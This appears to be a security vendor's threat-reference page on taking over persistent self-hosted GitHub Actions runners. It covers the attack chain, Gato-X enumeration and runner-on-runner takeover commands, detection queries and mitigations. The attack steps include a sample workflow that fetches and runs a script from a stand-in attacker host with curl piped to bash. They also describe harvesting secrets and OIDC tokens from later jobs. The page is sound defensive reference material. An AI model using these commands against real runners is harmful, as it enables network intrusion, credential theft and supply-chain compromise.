1. Resources
  2. Identity Threats
  3. GitHub

Self-Hosted GitHub Actions Runner Compromise

Also known as: Self-hosted runner takeover, Runner-on-runner, Non-ephemeral runner abuse, Persistent runner compromise

Anyone whose workflow job lands on a persistent self-hosted runner gets code execution on a machine inside the network, can stay there, and can take the tokens and secrets of later jobs.

Platform
GitHub
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Any authenticated identity
The ability to get a job scheduled on the runner: a pull request from a fork to a public repository that uses it, or write access to any repository in the runner group.
What the attacker gains
A foothold on a build machine inside the network, persistence across jobs, and the GITHUB_TOKEN, secrets and OIDC assertions of every later job on that runner.
Threat groups
APT38ShinyHuntersTeamPCPAPT28APT29Groups that MITRE ATT&CK records using T1195.001, T1528.

How it works

A GitHub-hosted runner is a fresh virtual machine for each job. A self-hosted runner is a machine the organization owns, running the runner application, and by default it does not need a clean instance for every job. GitHub states the consequence directly: self-hosted runners can be persistently compromised by untrusted code in a workflow.

A job is routed to a runner by its runs-on labels and by runner groups. Labels only express scheduling eligibility; they are not an identity and say nothing about isolation. Runners can be registered at repository, organization or enterprise level, and an organization or enterprise runner group can serve many repositories. Whoever can start a job with the right labels in an eligible repository runs commands on that machine as the runner's service account.

The attack has two stages.

  • Getting a job onto the runner. In a public repository, a pull request from a fork is enough: a pull_request run uses the workflow file from the pull request, so the contributor can set runs-on: self-hosted and write the steps. In private and internal repositories, anyone who can fork and open a pull request, or push a branch, can do the same.
  • Staying on the runner. On a persistent runner the job can leave a process or a file behind. Every later job on that machine, from any repository in the runner group, then runs next to the attacker, who reads its GITHUB_TOKEN, its secrets and its OIDC assertions as they pass through.

Gato-X automates a variant called runner-on-runner: the job installs a second runner agent on the machine and registers it to a repository the attacker controls, which gives an interactive command channel through GitHub's own service.

Prerequisites

  • A self-hosted runner that is not replaced after every job, or whose host or storage is reused.
  • A way to schedule a job on it: a public repository whose workflows use the runner and whose fork approval setting lets the attacker's pull request run (the default only holds back first-time contributors, so one merged contribution is enough), or write access to any repository that can use the runner group.
  • For lateral movement: other repositories or more privileged workflows that use the same runner or group.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find repositories that use self-hosted runners

Gato-X reads workflow files and the logs of past runs, which name the runner and machine that executed each job:

export GH_TOKEN=<personal access token>

# One organization, one repository, or a list
gato-x enumerate -t octo-org
gato-x enumerate -r octo-org/octo-repo
gato-x e -R repositories.txt -oJ results.json

zizmor's self-hosted-runner audit (pedantic persona) reports the workflows:

zizmor --persona=pedantic --gh-token $(gh auth token) octo-org/octo-repo
grep -rnE "runs-on:.*self-hosted|runs-on:.*group:" .github/workflows/

With administrative access, list the runners and whether they are ephemeral:

gh api /orgs/octo-org/actions/runners \
  --jq '.runners[] | {id, name, os, status, busy, ephemeral, runner_group_id, labels: [.labels[].name]}'

2. Become eligible to run workflows

If fork pull requests need approval for first-time contributors, land a harmless change first, such as a documentation fix. After that, pull request workflows from the account run without a maintainer's click.

3. Send a job to the runner

Open a pull request from the fork that adds or changes a workflow:

name: ci
on: pull_request
jobs:
  build:
    runs-on: self-hosted
    steps:
      - run: |
          id; hostname
          curl -sSf https://attacker.example/stage.sh | bash

The token of this run is read-only and no secrets are passed, but the commands run on the organization's machine.

4. Take over the runner

Gato-X performs the full chain against a public repository. It prepares a command-and-control repository, opens the pull request, watches the run and drops to an interactive prompt when the implant registers:

gato-x a --runner-on-runner --target octo-org/octo-repo --target-os linux --target-arch x64

The token needs the repo, workflow and gist scopes and must belong to an account that has contributed to the target. --keep-alive is the option for non-ephemeral runners.

5. Persist and harvest

On a persistent runner the attacker now waits for other jobs:

  • Read the working directory of later jobs, including checked-out code and persisted checkout credentials.
  • Read secrets from the runner worker's memory or from process arguments. GitHub's hardening guidance notes that secrets passed as command-line arguments can be seen by other jobs on the same runner.
  • Request an OIDC assertion while a job with id-token: write runs, or use the machine's own identity: the instance role or managed identity that the cloud metadata service hands out.
  • Move into the network the runner sits in: package registries, artifact stores, deployment targets and internal services that trust the build host.

Impact

A compromised runner is a machine inside the organization that receives fresh credentials with every job. The attacker gets lateral movement into the internal network, credential theft from every repository that shares the runner group, and the ability to tamper with builds and releases produced on that machine. Where the runner serves release workflows this is a software supply chain compromise; see GITHUB_TOKEN and installation token abuse for what the harvested tokens allow.

OPSEC and artifacts

  • Closing the pull request. The attacker closes the pull request once the job has started. The run, its job record with runner_id and runner name, and its log remain, and the implant keeps running if the workflow is kept alive or the process was detached.
  • Runner-on-runner traffic. The implant talks to GitHub the way a normal runner does, so egress filtering that allows GitHub does not stop it. On the host there is a second runner process and directory, registered to a repository outside the organization.
  • Long-running jobs. A job that is held open to keep a session alive runs far longer than the workflow normally takes and keeps the runner busy.
  • Host traces. New processes started by the runner service account, new files outside the work folder, scheduled tasks or services, and shell history. Runner application logs record each job the machine accepted; for ephemeral runners GitHub says these logs must be forwarded to external storage or they are lost with the machine.
  • Registration events. Adding a runner to the victim organization is audited as org.register_self_hosted_runner or repo.register_self_hosted_runner. The runner-on-runner implant registers to the attacker's repository, so the victim's audit log does not show it.

Detection

  • Jobs from forks on self-hosted runners. List pull request runs and look at which runner executed them. A fork-triggered job on a self-hosted runner is a finding even when nothing malicious ran:
gh run list --repo octo-org/octo-repo --event pull_request \
  --json databaseId,headBranch,headSha,createdAt,conclusion --limit 100
gh api /repos/octo-org/octo-repo/actions/runs/1234567890/jobs \n  --jq '.jobs[] | {name, runner_id, runner_name, labels}'
  • Host telemetry on runners. Treat runners as servers: collect process creation, network connections and file changes. Alert on a second runner agent, on processes that outlive their job, on connections to hosts the build does not need, and on reads of the cloud metadata service by build steps.
  • Runner inventory drift. The self-hosted runner registered rules alert on new runners. Compare GET /orgs/{org}/actions/runners with the machines you provisioned.
  • Runner group exposure. A change that opens a group to more repositories or to public repositories is recorded as org.runner_group_visiblity_updated and org.runner_group_updated.
  • Approval policy changes. The Actions token or fork pull request policy rules cover a weakened fork pull request approval policy.
  • Allocation against lifecycle. Join job allocation records with machine provisioning and destruction records. Two jobs from different trust levels on the same host instance show that state could have crossed between them.

Mitigation

  • Do not attach self-hosted runners to public repositories. By default only private repositories can use the runners in a group; leave that default in place.
  • Use one clean machine per job. Register runners as ephemeral and destroy the host afterwards, or use just-in-time runners created through the REST API:
./config.sh --url https://github.com/octo-org --token <registration token> --ephemeral

gh api -X POST /orgs/octo-org/actions/runners/generate-jitconfig \
  -f name=jit-runner-01 -F runner_group_id=1 -f 'labels[]=self-hosted' -f 'labels[]=linux'
./run.sh --jitconfig <encoded_jit_config>

Ephemeral registration alone does not prove that the backing storage was discarded; the automation has to wipe or replace the machine.

  • Split runner groups by trust. Give release and deployment workflows their own group, limited to the repositories that need it, so that a job from a low-trust repository can never share a host with them.
  • Require approval for all external contributors on any repository whose workflows can reach a self-hosted runner.
  • Strip the machine. Keep no long-lived credentials on the runner, give its cloud identity minimal rights, and block build steps from the metadata service where the platform allows it.
  • Limit the network. Place runners in a segment that reaches only what builds need, and forward runner and host logs off the machine before it is destroyed.

Detection rules for this attack

Log events to collect

FAQ

Why are self-hosted runners dangerous on public repositories?

Any user can open a pull request against a public repository, and a pull request can change the workflow so that its job runs on the self-hosted runner. GitHub's guidance is that self-hosted runners should almost never be used for public repositories for this reason.

What is the difference between an ephemeral and a persistent runner?

An ephemeral runner is registered with the --ephemeral flag or as a just-in-time runner and is removed from the service after one job. A persistent runner keeps taking jobs on the same machine, so files, processes and credentials left by one job are there for the next.

Does an ephemeral runner fully solve the problem?

Only if the machine behind it is also discarded. Ephemeral registration removes the runner from GitHub after one job, but if the same host or the same storage is reused, leftovers from the previous job remain. The clean environment has to come from your own automation.

Do environment secrets protect against a compromised runner?

No. GitHub's guidance notes that environment secrets with required reviewers do not isolate workflows on a compromised self-hosted runner. Once an approved job runs on that machine, the attacker's process can read the secret there.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.